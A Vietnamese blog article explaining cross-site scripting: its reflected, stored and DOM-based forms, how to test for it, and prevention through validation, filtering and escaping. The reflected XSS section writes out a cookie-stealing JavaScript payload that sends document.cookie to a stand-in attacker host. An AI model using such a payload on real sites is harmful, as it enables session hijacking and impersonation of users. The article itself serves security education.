Cross site scripting là gì?

Banner-backlink-danaseo

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiện nay. Tuy nhiên, nhiều người vẫn còn hiểu sai, hiểu chưa đúng về thuật ngữ này. Bài viết hôm nay, CMC Distribution sẽ giúp các bạn tìm hiểu cross site scripting là gì?

Cross site scripting là gì?

Cross Site Scripting (XSS) là một trong những tấn công phổ biến, dễ bị tấn công nhất mà tất cả các hacker có kinh nghiệm đều biết đến. Nó được coi là một trong những tấn công nguy hiểm nhất đối với các ứng dụng web. Nó mang lại những hậu quả nghiêm trọng.

Tấn công XSS là một đoạn mã độc, để khái thác một lỗ hổng XSS. Hacker sẽ chèn mã độc thông qua các đoạn script để thực thi chúng ở phía Client. Thông thường, các cuộc tấn công XSS được sử dụng để vượt qua truy cập và mạo danh người dùng.

cross-site-scripting-la-gi

Mục đích chính của cuộc tấn công này là ăn cắp dữ liệu nhận dạng của người dùng. Như: cookies, session tokens và các thông tin khác. Đa số cuộc tấn công này đang được sử dụng để ăn cắp cookie của người khác. Như chúng ta biết, cookie giúp đăng nhập tự động.

Tấn công XSS đang được thực hiện ở phía client. Nó có thể được thực hiện với các ngôn ngữ lập trình phía client khác nhau. Tuy nhiên, thường xuyên nhất cuộc tấn công này được thực hiện với Javascript và HTML.

Tấn công XSS thực hiện như thế nào?

Tấn công Cross Site Scripting nghĩa là gửi và chèn lệnh và script độc hại. Những mã độc này thường được viết với ngôn ngữ lập trình phía client như Javascript, HTML, VBScript, Flash…

Tuy nhiên, cách tấn công này thông thường sử dụng Javascript và HTML. Nó có thể được thực hiện theo nhiều cách khác nhau. Phụ thuộc vào loại tấn công XSS, những mã độc có thể được phản chiếu trên trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở dữ liệu. Được chạy mỗi khi người dùng gọi chức năng thích hợp.

tan-cong-xss-thuc-hien-nhu-the-nao-1

Nguyên nhân chính của loại tấn công này là xác thực đầu vào dữ liệu người dùng không phù hợp. Dữ liệu độc hại từ đầu vào có thể xâm nhập vào dữ liệu đầu ra. Mã độc có thể nhập một script và được chèn vào mã nguồn của website. Khi đó trình duyệt không thể biết mã thực thi có phải độc hại hay không.

Hữu ích cho bạn:  Làm Freelancer là gì? Bản chất Freelancer

Do đó mã độc hại có thể đang được thực thi trên trình duyệt của nạn nhận hoặc bất kỳ hình thức giả nào đang được hiển thị cho người sử dụng. Có một số hình thức tấn công XSS có thể xảy ra.

Những hình thức tấn công chính của Cross Site Scripting

  • Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở phía client.
  • Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại).
  • Trên các trang web có quảng cáo được hiển thị.
  • Email độc hại được gửi đến nạn nhân. Tấn công xảy ra khi tin tặc tìm kiếm những lỗ hổng trên website và gửi nó làm đầu vào độc hại. Tập lệnh độc hại được tiêm vào mã lệnh và sau đó được gửi dưới dạng đầu ra cho người dùng cuối cùng.

Ví dụ

Người dùng nhập đoạn script đơn giản như sau:

tan-cong-xss-thuc-hien-nhu-the-nao-2

Lúc đó sau khi nhấn nút “Search”, script được nhập sẽ được thực hiện.

tan-cong-xss-thuc-hien-nhu-the-nao-3

Như chúng ta thấy trong Ví dụ, script đã nhập vào trường Search được thực thi. Điều này chỉ cho thấy lỗ hổng của cuộc tấn công XSS.

Tuy nhiên, một tập lệnh có hại hơn cũng có thể được nhập. Nhiều hacker kết hợp tấn công Cross Site Scripting với Javascript Injection, cũng đang được thực hiện ở phía client. Trong cả hai, các script tấn công độc hại đang được tiêm. Tuy nhiên, trong trường hợp tấn công XSS, các thẻ <script> không cần thiết để thực thi script.

Các loại tấn công Cross site scripting

Có 3 loại tấn công XSS chính hiện nay.

Reflected XSS

Có nhiều hướng để khai thác thông qua lỗi Reflected XSS. Một trong những cách được biết đến nhiều nhất là chiếm phiên làm việc (session) của người dùng. Từ đó, có thể truy cập được dữ liệu và chiếm được quyền của họ trên website. Chi tiết được mô tả qua những bước sau:

cac-loai-tan-cong-cross-site-scripting

Người dùng đăng nhập web và giả sử được gán session: Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

Bằng cách nào đó, hacker gửi được cho người dùng URL: http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2Bdocument.cookie

Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra. Nạn nhân truy cập đến URL trên

Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker)

Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript

Đoạn javascript mà hacker tạo ra thực tế như sau: var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1

Host: hacker-site.net

Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.

Hữu ích cho bạn:  Có mỗi 1 năm ánh sáng mà loài người bay không nổi

Stored XSS

Stored XSS hướng đến nhiều nạn nhân hơn. Lỗi này xảy ra khi ứng dụng web không kiểm tra kỹ các dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu trên các trang web. Với kỹ thuật Stored XSS , hacker không khai thác trực tiếp mà phải thực hiện tối thiểu qua 2 bước.

Đầu tiên hacker sẽ thông qua các điểm đầu vào (form, input, textarea…) không được kiểm tra kỹ để chèn vào CSDL các đoạn mã nguy hiểm.

cac-loai-tan-cong-cross-site-scripting-2

Tiếp theo, khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác liên quan đến dữ liệu được lưu này, đoạn mã của hacker sẽ được thực thi trên trình duyệt người dùng.

DOM Based XSS

DOM Based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML. Chúng ta cùng xem xét một ví dụ cụ thể sau.

Một website có URL đến trang đăng ký như sau: http://example.com/register.php?message=Please fill in the form

Khi truy cập đến thì chúng ta thấy một Form rất bình thường

cac-loai-tan-cong-cross-site-scripting-3

Thay vì truyền

message=Please fill in the form

thì truyền

message=<label>Gender</label>

<select class = “form-control” onchange=”java_script_:show()”><option value=”Male”>Male</option><option value=”Female”>Female</option></select>
<script>function show(){alert();}</script>

Khi đấy form đăng ký sẽ trở thành như thế này:

cac-loai-tan-cong-cross-site-scripting-4

Người dùng sẽ chẳng chút nghi ngờ với một form “bình thường” như thế này, và khi lựa chọn giới tính, Script sẽ được thực thi

Kịch bản khai thác:

Cách để kiểm thử tấn công XSS

Trước tiên, để kiểm thử tấn công XSS, kiểm thử hộp đen có thể được thực hiện. Nó có nghĩa là, chúng ta có thể test mà không cần xem xét code. Tuy nhiên, xem xét code luôn là một việc nên làm và nó mang lại kết quả đáng tin cậy.

Trong khi bắt đầu kiểm thử, Tester nên xem xét phần nào của website là có thể bị tấn công XSS. Tốt hơn là liệt kê chúng trong tài liệu kiểm thử và bằng cách này. Bảo đảm chúng ta sẽ không bị bỏ xót.

cach-de-kiem-thu-tan-cong-xss

Sau đó, tester nên lập kế hoạch cho các script nào phải được kiểm tra. Điều quan trọng là, kết quả có ý nghĩa gì, ứng dụng đó là dễ bị lỗ hổng và cần được phân tích các kết quả một cách kỹ lưỡng.

Trong khi kiểm thử các cuộc tấn công có thể, điều quan trọng là kiểm tra xem nó đang được đáp ứng như thế nào với các kịch bản đã nhập và các kịch bản đó có được thực thi hay không.

Hữu ích cho bạn:  Máy siêu âm chụp ảnh "xuyên thấu" thế nào? Hiểu rõ trong 5 phút

Các cách để ngăn chặn tấn công cross site scripting

Mặc dù loại tấn công này được coi là một trong những loại nguy hiểm và rủi ro nhất, nhưng vẫn nên chuẩn bị một kế hoạch ngăn ngừa. Bởi vì sự phổ biến của cuộc tấn công này, có khá nhiều cách để ngăn chặn nó.

Các phương pháp phòng ngừa chính được sử dụng phổ biến bao gồm:

Data validation

Filtering

Escaping

cac-cach-de-ngan-chan-tan-cong-cross-site-scripting

Bước đầu tiên trong công tác phòng chống tấn công này là Xác thực đầu vào. Mọi thứ, được nhập bởi người dùng phải được xác thực chính xác, bởi vì đầu vào của người dùng có thể tìm đường đến đầu ra.

Xác thực dữ liệu có thể được đặt tên làm cơ sở để đảm bảo tính bảo mật của hệ thống. Tôi sẽ nhắc nhở rằng ý tưởng xác thực không cho phép đầu vào không phù hợp. Vì vậy nó chỉ giúp giảm thiểu rủi ro, nhưng có thể không đủ để ngăn chặn lỗ hổng XSS có thể xảy ra.

Một phương pháp ngăn chặn tấn công cross site scripting tốt khác

Một phương pháp ngăn chặn tốt khác là lọc đầu vào của người dùng. Ý tưởng lọc là tìm kiếm các từ khóa nguy hiểm trong mục nhập của người dùng và xóa chúng hoặc thay thế chúng bằng các chuỗi trống. Những từ khóa đó có thể là:

Thẻ <script> </ script>

Lệnh Javascript

Đánh dấu HTML

Lọc đầu vào khá dễ thực hành. Nó có thể được thực hiện theo nhiều cách khác nhau. Như:

Bởi các developers đã viết mã phía server.

Thư viện ngôn ngữ lập trình thích hợp đang được sử dụng.

cac-cach-de-ngan-chan-tan-cong-cross-site-scripting-1

Trong trường hợp này, một số developer viết mã riêng của họ để tìm kiếm các từ khóa thích hợp và xóa chúng. Tuy nhiên, cách dễ dàng hơn là chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào của người dùng. Tôi muốn lưu ý rằng việc sử dụng thư viện là một cách đáng tin cậy hơn, vì các thư viện đó đã được nhiều nhà phát triển sử dụng và thử nghiệm.

Một phương pháp phòng ngừa khác có thể là ký tự Escape. Trong thực tế này, các ký tự thích hợp đang được thay đổi bằng các mã đặc biệt.

Ví dụ: <ký tự Escape có thể giống như & # 60. Điều quan trọng cần biết là chúng ta có thể tìm thấy các thư viện thích hợp với ký tự escape.

Trong khi đó, việc kiểm thử tốt cũng không nên quên điều đó. Cần những kiểm thử phần mềm có kiến thức tốt và những công cụ kiểm thử phần mềm đáng tin cậy. Bằng cách này, chất lượng phần mềm sẽ được bảo đảm tốt hơn.

Bài viết đã làm rõ khái niệm Cross site scripting là gì?. Hy vọng qua bài viết này người đọc sẽ có thêm nhiều thông tin hữu ích.

5/5 - (1 bình chọn)

Bài viết liên quan

Để lại ý kiến của bạn:

Email của bạn sẽ không được hiển thị công khai. Các trường bắt buộc được đánh dấu *